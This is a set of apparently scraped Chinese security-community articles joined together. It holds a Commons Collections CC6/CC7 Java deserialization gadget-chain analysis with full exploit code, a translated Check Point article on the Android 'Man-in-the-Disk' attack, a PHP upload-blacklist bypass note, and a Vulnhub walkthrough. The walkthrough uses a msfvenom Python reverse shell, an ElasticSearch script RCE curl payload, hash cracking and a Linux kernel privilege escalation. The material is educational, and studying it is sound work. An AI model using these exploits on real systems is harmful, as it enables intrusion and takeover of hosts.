TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"foo");
HashSet hashset = new HashSet();
hashset.add(tiedmap);
outerMap.remove("foo");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6.bin"));
outputStream.writeObject(hashset);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
### POC调试
从`HashMap#readObject`开始，调用了`put`；
调用链和`add()`差不多，直接跟到InvokerTransformer；
命令执行成功；
## CC7
### 前言
CC7也是对CC3.1版本的利用链，使用`Hashtable`作为反序列化的入口点，通过`AbstractMap#equals`来调用`LazyMap#get`。
**环境搭建**
* JDK 1.8
* Commons Collections 3.1
pom.xml中添加：
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
**利用链**
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
### 利用链分析
看到`Hashtable#readObject`，循环调用了`reconstitutionPut`，`elements`为传入的元素个数；
key和value都是从序列化流中得到的，序列化流中的值则是通过`put`传进去的；
跟进`reconstitutionPut`；
for循环中调用了`equals`，我们先看看进入for循环的条件：`e != null`，而`e =
tab[index]`，此时`tab[index]`的值是为null的，所以不会进入for循环，下面的代码就是将key和value添加到tab中；
那如何才能进入for循环呢，既然调用一次`reconstitutionPut`不行，那我们就调用两次，也就是说put两个元素进`Hashtable`对象，这样`elements`的值就为2，readObject中的for循环就可以循环两次；
第一次循环已经将第一组key和value传入到tab中了，当第二次到达`reconstitutionPut`中的for循环的时候，`tab[index]`中已经有了第一次调用时传入的值，所以不为null，可以进入for循环；
接着看看if里面的判断，要求`e.hash ==
hash`，这里的`e`值为`tab[index]`，也就是第一组传入的值，这里的`hash`是通过`key.hashCode()`获取的，也就是说要put两个hash值相等的元素进去才行；
继续跟进到`AbstractMapDecorator#equals`，这里的`map`是可控的，；
跟进到`AbstractMap#equals`，调用了`m.get()`，而`m`是根据传入的对象获取的，也就是说如果传入的是`LazyMap`类对象，那么这里就是调用的`LazyMap#get`，便可触发RCE；
### POC分析
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
Transformer[] fakeTransformers = new Transformer[] {};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
lazyMap2.remove("yy");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));
outputStream.writeObject(hashtable);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
**代码1**
Transformer[] fakeTransformers = new Transformer[] {};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
和CC6一样，需要构造两个Transformer数组，因为在后面第二次调用`hashtable.put()`的时候也会调用到`LazyMap#get`，会触发RCE，可以跟进看一调用栈；
所以这里构造一个`fakeTransformers`，里面为空就行；
**代码2**
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
先将`fakeTransformers`传入`ChainedTransformer`对象；
new两个`HashMap`对象，都调用`LazyMap.decorate`，并且分别向两个对象中传值，两个key值分别为`yy`和`zZ`，因为需要这两个值的hash值相等，而在java中，`yy`和`zZ`的hash值恰好相等；
然后将这两个LazyMap类对象put进Hashtable类对象；
**代码3**
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
lazyMap2.remove("yy");
通过反射获取`ChainedTransformer`的`iTransformers`变量，将含有我们反序列化时要执行的命令的`transformers`数组传进去，替换前面的`fakeTransformers`；
最后还要remove掉`yy`，应为如果不去掉的话，第二次调用`reconstitutionPut`的时候就会存在两个key；
导致进入下面的if判断，直接返回false，不再执行后面的代码；
### POC调试
第一次进入`reconstitutionPut`，将值传入tab：
第二次进入for循环：
进入`equals`，参数`object`是lazyMap2：
进入下一个`equals`，`m`就是`LazyMap`类：
进入`get`，成功调用`transform()`：
命令执行成功；
参考链接：
<https://paper.seebug.org/1242/>
<https://www.cnblogs.com/nice0e3/p/13890340.html>
## 总结
CC链就先分析到这里，8、9、10等剩下的链以后再接着分析；
CC链1-7涉及两个CC版本，3.1和4.0；
3.1版本基本就是通过各种途径去调用`LazyMap#get`，从而实现RCE；
4.0版本则是通过调用`TransformingComparator#compare`来实现RCE；
相同点都在于是为了调用`transform()`；
虽然几条链分析下来都大同小异，但也提升了不少分析代码的能力，获益匪浅。 | 社区文章 |
# Man-in-the-Disk：新的针对 Android App 的攻击面
|
##### 译文声明
本文是翻译文章，文章原作者 checkpoint，文章来源：checkpoint.com
原文地址：[ https://blog.checkpoint.com/2018/08/12/man-in-the-disk-a-new-attack-surface-for-android-apps/]( https://blog.checkpoint.com/2018/08/12/man-in-the-disk-a-new-attack-surface-for-android-apps/)
译文仅供参考，具体内容表达以及含义原文为准。
最近，我们的研究人员发现了Android
App使用存储资源方式的缺陷。App使用外部存储资源时的粗心大意，犹如打开潘多拉墨盒，有可能导致多种不良后果，例如不经用户同意将恶意App静默安装到用户手机，合法App导致DoS，甚至导致App崩溃，还可能为代码注入大开方便之门，使恶意代码在受攻击App的特权上下文中运行。
当App使用外部存储不多加小心时，才使得Man-in-the-Disk攻击成为可能。外部存储是一种在所有App之间共享的资源，并且不享受Android内置的沙盒保护。如果App本身在使用外部资源时未能使用安全预防措施，App就容易遭受恶意数据操纵的攻击。
## 什么是外部存储？
为了解释Android设计中的安全性缺陷，我们需要对Android设备上的存储资源有些了解。
在Android操作系统中，有两种存储类型：内部存储，每个App单独使用并由Android沙箱进行隔离；外部存储，一般指SD卡或存储设备中的逻辑分区，由所有App共享使用。实际上，外部存储主要用于在App之间或与PC共享文件。例如，某通讯App为了分享手机相册中的照片，App需要访问外部存储中保存的媒体文件。
但是，还有其他原因导致App开发人员选择使用外部存储而不是被沙盒保护的内部存储。例如，内部存储容量不够，为了与旧设备的向后兼容性，不希望App看起来占用太多空间，甚至只是因为开发人员比较懒。
无论原因是什么，使用外部存储时，都需要采取一些预防措施。
根据Google的Android文档，关于App开发人员如何使用外部存储是有一些准则的。[这些准则](https://developer.android.com/training/articles/security-tips)包括：
* “处理来自外部存储的数据时需执行输入验证”
* “不要在外部存储上存储可执行文件或类（class）文件”
* “在动态加载之前，应对外部存储文件进行签名和加密验证”
但是，我们发现一些Android App，包括来自知名厂商甚至谷歌的App，并没有遵循这些准则。于是就导致了Man-in-the-Disk攻击面，导致任何不小心保存外部存储数据的App都有被攻击的可能。
## Man-in-the-Disk 攻击
Check Point研究人员发现的新攻击面，称为“Man-in-the-Disk”，允许攻击者读取并篡改存储在外部存储器上的数据。
通过我们的研究分析，我们目睹了App从App提供商的服务器下载、更新或接收数据的情况，这些数据在发送到App本身之前会通过外部存储 –
如下图所示。这种做法为攻击者提供了在App再次读取之前操纵外部存储中保存的数据的机会。
篡改数据由看似无辜的App（例如伪造的手电筒App）来执行，其中包含攻击者的漏洞利用脚本。攻击者引诱用户下载这个看起来无辜的App，下载的App要求用户授予访问外部存储的权限，而App访问外部存储是非常正常的，并且不太可能引起用户怀疑。从那时起，攻击者能够监视用户设备上的任何其他App与外部存储之间传输的数据，并及时用它自己的数据覆盖之，从而导致受攻击App的执行恶意行为。
通过这种方式，攻击者可以通过“Man-in-the-Disk”拦截用户其他App所请求的流量和信息，并提供精心构造的数据达成攻击目标。
攻击的结果可能会有所不同，具体取决于攻击者的意愿和知识水平。我们的研究证明，无需用户的许可即可在后台安装不需要的App。我们还演示了使受攻击的App崩溃，从而导致拒绝服务。一旦App崩溃并且其防御措施失效，攻击者就可通过代码注入劫持授予崩溃App的权限，并提升其自己的权限，以便访问用户设备的其他部分，例如摄像头，麦克风，联系人列表等。下图为使被攻击App崩溃的示例。
## 可被 Man-in-the-Disk 攻击的 App
我们针对这一新攻击面进行测试的App包括谷歌翻译、Yandex翻译、谷歌语音输入，谷歌文本转语音，小米浏览器和各种其他App。在参考了Google指南中给出的建议后，我们的团队继续将指南中建议与实际情况进行比较。
对于谷歌翻译，Yandex翻译和谷歌语音输入，我们发现开发人员未能验证从外部存储读取的数据的完整性。因此，我们的团队能够破坏这些App所需的某些文件，从而导致每个App崩溃。
**App崩溃示例** ：通过破坏App所需的某些文件导致谷歌翻译崩溃。
小米浏览器会使用外部存储设备临时存储App的更新资源。结果就是，我们的团队能够通过替换App的更新代码，导致安装其他的、不需要的App，而不是小米浏览器的合法更新。
**Man-in-the-Disk 攻击示例** ： 小米浏览器的更新代码被替换，导致未经用户允许安装了恶意App。
在发现这些App漏洞后，我们联系了谷歌、小米和其他易受攻击的App的供应商，以更新App，并请求供应商回复。针对谷歌各App的修复程序不久之后就发布了，其他易受攻击的App正在更新，并且一旦补丁可用，我们也会将这些App披露出来，而小米此次选择不解决此问题。
当然，应该指出的是，我们只检查了一小部分App。但我们的样本集中普遍存在这些漏洞，足以使我们相信许多其他App使用外部存储资源时也是粗心大意，也可能容易受到类似的攻击。
此外，App访问权限的数量越多，攻击者获得的权限就越多。实际上，对特权App的代码注入将获得其持有的所有特权。但令人担忧的是，我们发现制造商预装的App中包含一些易受Man-in-the-Disk攻击的App，并且这些App被授予了用户没有主动同意授予的权限，因此该制造商的每个设备都有被攻击的可能。
## 前因后果
由于此种攻击的细节可能看起来很复杂，让我们回顾一下导致此攻击的前因后果：
* Android设备的外部存储是公共区域，可以由同一设备上的任何其他App监测或修改。
* Android没有为外部存储中保存的数据提供内置保护，仅向开发人员提供有关正确使用此资源的指南。
* 任何开发人员都并不总是精通安全需求和潜在风险，也不总是遵循指导原则。
* 一些预装和常用的App忽略了Android指南，并在未受保护的外部存储中保存敏感数据。
* 这可能导致Man-in-the-Disk攻击，导致操纵和/或滥用未受保护的敏感数据。
* 修改数据可能会导致用户设备上出现不太美好的结果。
## 防范 ‘The Man’
虽然很明显这些设计缺陷使得Android用户可能容易受到网络攻击的威胁，但不太清楚的是谁是真正的过错方，谁有责任对其进行修复。一方面，虽然Android系统的开发人员已经为App开发人员制定了确保App安全的开发准则，但他们也必须意识到，App开发人员不会以安全为前提构建他们的App。另一方面，意识这一点之后，Android的开发人员是否可以多做些什么，来保护他们的操作系统和使用它的设备？
人们可以将我们在移动操作系统领域看到的东西，等同于旧操作系统的早起雏形版本——旧操作系统在早期也常常会爆出缓冲区溢出漏洞。虽然缓冲区溢出漏洞是由各种粗心的开发人员制造的，但并不是直到操作系统和CPU制造商对此采取应对措施（引入DEP和ASLR保护措施）才避免了问题。其核心是认识到开发人员不能始终信任遵循安全准则。
从经验来看，只提供指导准则，似乎不足以让操作系统供应商们免除对App开发人员开发的App的所有责任。相反，保护底层操作系统是防止我们的研究发现的新攻击面的唯一长期解决方案。
有关此研究的完整技术细节，请访问[Check Point
Research](http://www.research.checkpoint.com/androids-man-in-the-disk)。 | 社区文章 |
在玩php文件上传的时候发现，move_uploaded_file此函数好像是有某种缓存机制。
如果文件名包含<>*|之类的字符，会移动文件失败。 例如（test.php<）。
但是在上传过（test.php）文件后，再上传（test.php<）则能成功。
也许早有人发现了这个小特性，但我在网上却是没找到相关的文章。希望有大佬出来解答一下，这是什么特殊的机制吗？原理又是如何？
利用：可以绕过黑名单(test.<p<h<p我试过是可行的)，但是得先提前上传上去一个.php文件。。所以很鸡肋吧
upload-labs-10
（.php）上传失败。理所应当，因为黑名单
（.php<）上传出错。显然是这个函数底层的错误，因为不允许文件名带这些特殊符号
在黑名单删除.php后。理所应当上传成功
（test.php）成功后，再上传（test.php<）。竟然也成功了，并且后缀名直接删减了<这个符号，匪夷所思。。 | 社区文章 |
# Vulnhub | Social Network 渗透靶机
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 环境：
* 靶机：[Medium_socnet](https://www.vulnhub.com/entry/boredhackerblog-social-network,454/)
* 攻击机：Parrot 192.168.123.233
* 网段：192.168.123.0/24
## 靶机简介
> Leave a message is a new anonymous social networking site where users can
> post messages for each other. They’ve assigned you to test their set up.
> They do utilize docker containers. You can conduct attacks against those
> too. Try to see if you can get root on the host though.
>
> Difficulty: Med
>
> Tasks involved:
>
> * port scanning
> * webapp attacks
> * code injection
> * pivoting
> * exploitation
> * password cracking
> * brute forcing
>
## 信息收集
首先先找到局域网中靶机的IP
sudo nmap -sn 192.168.123.0/24
得出靶机IP：192.168.123.183
### 端口扫描
sudo nmap -sS -Pn -p- 192.168.123.183
通过扫描得出靶机开放了22、5000端口，5000端口是一个Python的http服务
## 访问Web
访问一下Web，应该就是靶机作者提到的留言板，看一下`Wapplyzer`识别网站是基于Flask使用Python2.7 开发的
一开始以为是SSTI(模板注入)，就输入了`{{2*2}}`发现不生效，方向错了，于是扫了扫目录
扫出`admin`，访问看看
简介表示后端会使用exec()函数执行我们提交的python代码，借助盲注的思路，睡眠3秒试试
成功执行，确定漏洞存在
## 反弹Shell
既然能执行Python代码，那就使用`msfvenom`生成python木马，反弹shell
启动MSF，设置Payload监听，再把生成的木马放到web提交
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.123.233 LPORT=4444
成功反弹shell，这里有个问题就是第一次反弹可能等很久都不弹meterpreter，只要把session都K掉，重新监听，木马会自动重连(也可能是我网络问题)
进入shell看看，是一个docker容器
难道要docker逃逸？回头看了看靶机作者的提示，有一个`pivoting`跳板攻击，应该是以这台机器当跳板
## docker1
### 自动路由
接下来就是设置自动路由，扫描一下这个docker的局域网环境，先看看docker1的网络信息
然后使用msf的autoroute模块自动路由
run autoroute -s 172.17.0.0/16 # 添加路由
run autoroute -p # 查看路由
成功添加，然后配置socks服务，我这里使用sock4a，我这里socks5代理不了
接着配置proxychains配置文件，`/etc/proxychains.conf`文件末添加一行
socks4 192.168.123.233 1080
接下来就可以使用proxychains代理各种工具进入docker1的172.17网段
这里可以使用proxychains代理nmap工具去尝试靶机局域网信息，但是，proxychains不代理UDP，ICMP，SYN网络协议，无法进行系统探测，主机发现等等，但是可以用`-sT`参数并结合`-Pn`进行TCP端口扫描
### 内网扫描
至于如何扫描172网段的信息，可以将nmap上传到靶机，文件GitHub上有，就在docker1本地扫描，这样就快稳很多了，记得要添加nmap执行权限
扫描结果
找到三个机器：0.1、0.2、0.3(docker1)，把另外两个机器扫扫端口
172.17.0.1
这个开放22端口，应该就是宿主机了
172.17.0.2，这个我尝试在靶机使用proxychains代理nmap扫描端口
proxychains nmap -sT -Pn -p- 172.17.0.2
开放9200和9300端口，通过搜索发现9200和9300端口是`ElasticSearch`的服务端口，是一个基于Lucene的搜索服务器，使用Java语言开发的
### 查找服务漏洞
通过浏览器访问172.17.0.2:9200，记得使用proxychain代理整个浏览器，找到版本号`1.4.2`
随后通过exploit-db搜索发现该版本的服务有远程命令漏洞，再通过`searchsploit`搜索Exploit
通过MSF搜索EXP
### 确定漏洞
到此整一个网络拓扑如下
**漏洞利用失败**
找到36337.py文件，尝试利用，发现失败
随后我又通过MSF的exp进行利用，均已失败告终，于是又手动提交payload发现还是不行，于是就开始寻找原因
### 找到原因
终于在[Github](https://github.com/YrenWu/Elhackstic)找到失败原因，原因是服务里面没有数据，所以不能通过search来搜索进而执行命令，问题找到，尝试随便插入一条数据
proxychains curl -XPOST 'http://172.17.0.2:9200/twitter/user/yren' -d '{ "name" : "Wu" }'
再次执行Payload
proxychains curl -XPOST 'http://172.17.0.2:9200/_search?pretty' -d '{"script_fields": {"payload": {"script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("whoami").getText()"}}}'
成功执行
再次使用36337.py，还是失败呢，于是看了一下源码，是用python2写的，修改了一下代码，添加一个插入数据的函数
代理运行即可
## docker2
发现一个`passwords`文件
内容如下：
Format: number,number,number,number,lowercase,lowercase,lowercase,lowercase
Example: 1234abcd
john:3f8184a7343664553fcb5337a3138814
test:861f194e9d6118f3d942a72be3e51749
admin:670c3bbc209a18dde5446e5e6c1f1d5b
root:b3d34352fc26117979deabdf1b9b6354
jane:5c158b60ed97c723b673529b8a3cf72b
### Hashcat破解
看样子是提示我们使用`hashcat`破解hash值，Format就是模板，使用hashcat的掩码攻击，OK，先把hash提取出来，保存为一个文件，一起破解，不熟悉hashcat可以看一下前辈写的[文章](https://www.freebuf.com/sectool/164507.html)
hashcat -m 0 -a 3 pwd.hash ?d?d?d?d?l?l?l?l --force
-m 0 指哈希类型是md5 ， -a 3 指掩码攻击，根据提示，前四位为数字，后四位为小写字母，?d代表数字，?l代表小写字母
很快就破解出来了
这个用户名密码估计是用于宿主机SSH登录
尝试登录发现只有`john`这个用户可以登陆上去
## 宿主机
接下来到处看看，发现没有什么东西，看了一下passwd文件，发现除了john用户，passwords文件中提到的用户一个都没有，emm，想了一下，应该是要直接提权了
### 提权
通过以下任意一条命令查看有没有可以SUID提权的命令
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
发现并没有熟悉的vim、find等等之类的，再来看看`sudo`
哦嚯，连sudo权限都没有，最后看看Linux内核版本，系统版本有没有什么提权漏洞
uname -a
cat /etc/version
lsb_release -a
通过以上命令收集到系统版本信息
* Linux 3.13.0-24-generic x86_64 内核2014发布的
* Ubuntu 14.0.4 LTS
通过以上信息使用searchsploit看看有没有提权EXP
searchsploit linux 3.13.0 ubuntu priv
找到一个
二话不说丢到宿主机上编译，惊喜的发现木有gcc，OK，那我在线安装行不行？对不起你没有权限，那我离线安装行不行？对不起你没有rpm命令你需要安装，与需要一份工作来获得工作经验有异曲同工之妙。
然后搜索发现可以尝试在本地编译之后再上传上去，随后我就用VPS Pull了一个Ubuntu14.04的镜像，把exp源码上传上去编译，再丢回靶机运行发现
编译之后运行还需要编译，认真看一下回显信息，发现除了gcc报错，之前的动作都是正常执行的，然后看一下源码
发现在143行执行了一条命令用来编译生成`ofs-lib.so`文件
错误就出现在这里，然后往上看，找找这个`ofs-lib.c`的文件内容是什么
就在编译命令的上两行找到，这个文件写入`LIB`变量的内容，最终找到这个`LIB`是常量
再根据尝试提权反馈的信息与源码进行对比分析，基本可以肯定再执行gcc编译之前的代码都是正常执行的，那么就是说只要解决了这个`ofs-lib.so`文件就有很大概率能成功提权，我有两个思路
**思路一**
修改EXP代码，把main函数中的if判断注释掉，因为我用于编译的docker镜像内核与靶机内核不一样，会出错
把133-136行的代码注释掉
保存，重新编译、运行，在/tmp目录下找到`ofs-lib.so`文件，再次修改，取消刚刚的注释，注释143-147行gcc编码以及判断代码
重新编译，生成我们最终的EXP，把`osf-lib.so`文件与最终的EXP上传到靶机的 **`/tmp`** 目录下，赋权限，执行EXP
成功提权
**思路二**
把`LIB`的内容复制出来，写入文件，用EXP的里面的gcc编译命令编译出`ofs-lib.so`，注释原EXP
gcc编译那行代码，编译最终EXP，与.so文件一同上传到靶机`/tmp`目录，赋权限执行即可。
## 总结
做这个靶机我遇到两个坑，一就是`searchsploit`中原本没有数据，不满足漏洞利用条件，不能盲目的使用EXP；二就是提权时候。整个靶机下来最大感受就是要善于利用搜索引擎以及Github，几乎每次遇到问题上Github都会有意想不到的收获。 | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/rg8xRmhb0ArRQTW0KajSrQ>**
## 环境搭建
虚拟机下载地址：<https://www.citrix.com/downloads/citrix-gateway/>
然后选择下载NSVPX-ESX-13.0-47.22_nc_64.zip这个文件，该文件是ovf，可以直接用vmware来倒入并打开
选择导入
先后配置 IP地址，子网掩码，的网关地址，然后选择4确认
默认用户名密码都是 nsroot
然后访问之前设置的IP地址，出现以下界面则环境搭建成功
## 漏洞复现
网上下载exp
下载地址 <https://codeload.github.com/jas502n/CVE-2019-19781/zip/master>
使用方式
输入要执行的命令
漏洞复现成功
## 漏洞分析
首先查看我们的请求路径，由于利用了目录遍历漏洞，所以访问的真实uri路径是
/vpns/portal/scripts/newbm.pl
我们去Apache 的配置文件httpd.conf 中看一下路径的配置，这里简单解释下这几项配置
首先介绍一个MOD_PERL技术
MOD_PERL技术将PERL解析器编译到APACHE服务器中一起等待客户端请求。 MOD_PERL技术在APACHE中一共有三种代码运行方式：
1. PerlRun模式：这个模式主要兼容旧式CGI程序，仅仅使用APACHE中的PERL解析器对代码进行解析不进行缓冲。
2. Registry模式：这个模式的Perl代码在被访问过以后会被编译成为APACHE API模块并且存储在缓冲之中，为了保证运行APACHE会选择性的产生、不只一个副本在内存中。
3. APACHE API模式：这个模式在APACHE启动的时候就直接将代码编译驻留在缓冲之中。
配置完Apache和Perl模块后，可以用perlinfo函数查看系统环境相关变量。下图是在虚拟机中跑出来的效果，用的是XAMPP套件的老版本。
实现MOD_PERL技术，就需要我们先编写一个APACHE模块代码
例子
然后再在http.conf里做如下的配置
PerlModule example;
<Location "(service)$">
SetHandler perl-script
PerlHandler example
</Location>
这样当用户访问的时候会被这个APACHE模块处理。
正常情况下我们是无法访问/vpns/portal/这个路径下的任何东西的，因为路径限制我们访问不到，但是恰好这次该系统还有一个目录遍历漏洞，这样我们可以访问的范围就扩大了不少
首先我们攻击的第一步会请求一个uri “/vpn/../vpns/portal/scripts/newbm.pl”
我们首先看一下
这里的Handler模块 我们访问 Citrix ADC VPX 虚拟机的以下路径
可以看到该路径下有以下文件
后缀为.pm的文件 即为Perl Module，也就是 Perl 模块。在这里我们看到了处理请求/vpns/portal的默认木块 Handler.pm
我们打开看一下源码
该模块只有两个函数 error函数没什么好看的，我们重点观察handler函数.
不难发现handler函数中调用了另一个模块UserPrefs模块，调用了UserPrefs的一个new方法
new( ) 方法是对象的构造函数。我们去观察一下UserPrefs的源码
构造函数是类的子程序，它返回与类名相关的一个引用。将类名与引用相结合称为“祝福”一个对象，因为建立该结合的函数名为 bless ( )，其语法为：
bless YeReference [,classname]
`YeReference` 是对被“祝福”的对象的引用，`classname`
是可选项，指定对象获取方法的包名，其缺省值为当前包名。既在当前代码中返回一个名为UserPrefs的对象。然后我们调用UserPrefs对象的csd（）方法。
我们看一下csd ()方法的实现细节
结合网上的exp我们发现了一个关键的变量
以下是EXP的源码
这个username参数存储的是我们客户端传递来的 请求头中的“NSC_USER”的值。
我们看看exp中是怎么定义这个值的
“NSC_USER”的值中的%cdl值是一个随机值，主要用于写入文件的文件名
至于对"NSC_NONCE"这个请求头的处理，只是做了简单的字符串校验，并不是说校验了用户名和密码，所以第二次请求访问后台生成的XML时，"NSC_NONCE"“NSC_USER”两个请求头的值可以是任意不含特殊字符的字符串，所以该漏洞利用时并不需要提前知道后台登陆密码。
根据上面的源码截图我们看到了username的值，接下来我们看程序是如何处理username这个变量的。
可以看到在第61行代码调用了 fileread函数并将username变量作为参数传入
我们看到这这么一行注释
如果文件不存在或者已删除，则根据username创建一个新的文档。看到这里我们大致明白了这段代码的作用，就是以username变量为依据判断某路径下是否有同名文件的存在，如果文件不存在或者已删除已损毁则以username作为文件名创建一个文件。
那么这个创建的文件存放在哪里我们在源码中查找一下
可以看到 默认生成文件的路径是“/var/vpn/bookmark”, 也就是说正常情况下我们访问，生成的和username同名的文件时在该路径下的。
但是由于生成文件时并未对传入的“NSC_USER”这个头部有任何过滤。其实应该是有的，只不过默认情况下是给注释掉了。由下图的注释可以看出
所以在没有过滤的情况下，程序就以“../../../netscaler/portal/templates/filename”
这样生成的文件就保存在了，我们可以通过目录遍历漏洞访问到的目录下了。
此时我们可以控制，服务端程序在指定目录下创建文件了，但是仅仅这样是不够的，我们还需要将我们的payload一起写入我们的文件中。
我们已经知道了，如果要在指定位置创建文件，就需要在执行时调用UserPrefs对象的csd()方法。以此为依据，再能访问的范围内寻找可以利用的类。我翻看了一下，有不少类中都调用了UserPrefs对象的csd()方法，但是并有可以用来写入payload的点，例如themes.pl，可以调用UserPrefs对象的csd()方法生成文件，但是却无法向文件中写入payload，我们测试一下，先修改一下exp，将第一次请求的文件改成themes.pl
虽然会提示上传失败，但是我们直接从后台来看确实生成了一个同名的xml文档
看一下这个xml文档的内容
很显然这样生成的xml文档里没有任何有价值的或者可以利用的东西
我们经过一段时间查看源码发现了一个有利用价值的perl程序，即请求路径为“/vpns/portal/scripts/newbm.pl”实际物理路径为"/netscaler/portal/scripts/newbm.pl"的newbm模块。通过下图我们可以看到在http.conf中配置
Alias的作用是别名配置
我们看一下newbm.pl的源码
我们从源码中可以看到 newbm.pl 满足了我们所需要的条件
首先调用了UserPrefs对象的csd()方法生成文件
然后用四个变量接受我们从前台POST传入的payload，然后存储到一个哈希中，经测试"title","UI_inuse","descr"均可用来写入payload
最中我们通过POST传入的四个参数，被写入到我们通过UserPrefs对象的csd()方法生成xml文档中了。以下截图就是该文档的最终形态。
我们可以看到，我们要执行的payload语句已经写入 bookmark标签的“title”标签中了。
至此exp的第一次请求结束，所做的事情就是指定在服务端的“/netscaler/portal/templates/”路径下生成一个xml文档，然后向该文档内写入payload。
接下来就是exp执行的第二步
也就是我们要想办法访问到这个xml文档，然后还能够让程序解析并执行我们的payload也就是 `[% template.new('BLOCK' =
'print "+ cmd + "') %]`这串代码
按照顺序来，我们先考虑如何可以访问这个xml文档。首先第一反应就是去看http.conf文件，生成的xml文档的物理路径是“/netscaler/portal/templates/”
看一看有没有该路径的一个映射地址，这样我们就可以直接访问了，可惜并没有，也就是说像exp第一步直接访问newbm.pl的方式是行不通了。但是此时我们回到一开始的原点，即访问路径“/vpns/portal/”的默认处理模块
Handler.pm
我们观察上面两个截图的代码，我在后台搜过半天并没有发现这个`\$r-path_info()`方法属于那个模块，不过根据这个if判断
用的是eq来对比切用来对比的是一个具体的文件名称，紧接着就将`\$r-path_info()`返回的结果赋值给了“tmplfile”变量，接下来很关键，也是该漏洞最中可以访问我们生成的xml文档并解析执行其中payload的根本原因，
“template”变量指向的是Template对象的一个引用，我们可以看到`Template->new{}`是创建一个Template对象。
这里Template是perl的一个模块，Template Toolkit。
简单介绍一下Template Toolkit，在许多使用Perl进行“模板化”的方法中，Template
Toolkit被广泛认为是功能最丰富的工具之一。与其他模板系统一样，模板工具包允许程序员将Perl代码和自定义宏嵌入HTML文档中，以便即时创建自定义文档。但是与其他工具不同，Template
Toolkit在生成HTML方面与在生成XML，PDF或任何其他输出格式时一样容易。
看到这里我们应该明白了，Template Toolkit就是perl下的一个功能非常强大的模板引擎，那这么一来，一切就都解释的通了
接下来就在第32行我们调用`Template->process()`方法，process()调用
该方法来处理指定为第一个参数的模板$input。这可以是文件名，文件句柄（例如GLOB或IO::Handle）或对包含模板文本的文本字符串的引用。可以传递包含模板变量定义的其他哈希引用。
我们的xml文档里写入的payload之所以可以被解析并执行就是因为调用了Template对象的process方法，具体该模板引擎是如何解析xml文档的，牵扯到语法生成树和语义分析限于篇幅原因就不细讲了，感兴趣的朋友可以自己深入去了解学习
这里我们演示一下这个模板引擎解析的效果
更多的关于Template Toolkit这个模板引擎的功能非常强大而且教程网上也有很多，大家可以自行去学习和使用。
至此CVE-2019-19781 Citrix ADC远程代码执行漏洞，分析完毕。
* * * | 社区文章 |
# 2021深育杯pwn、re WP详解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
2021深育杯是深信服举办的ctf赛事，此次总结一下pwn和re的部分wp。此次用到的部分exp是借鉴一些pwner和官方给出的exp并对其进行了详细的补充说明，也是自己学习的过程，在此记录一下。
## PWN -> find_flag
### 题目分析
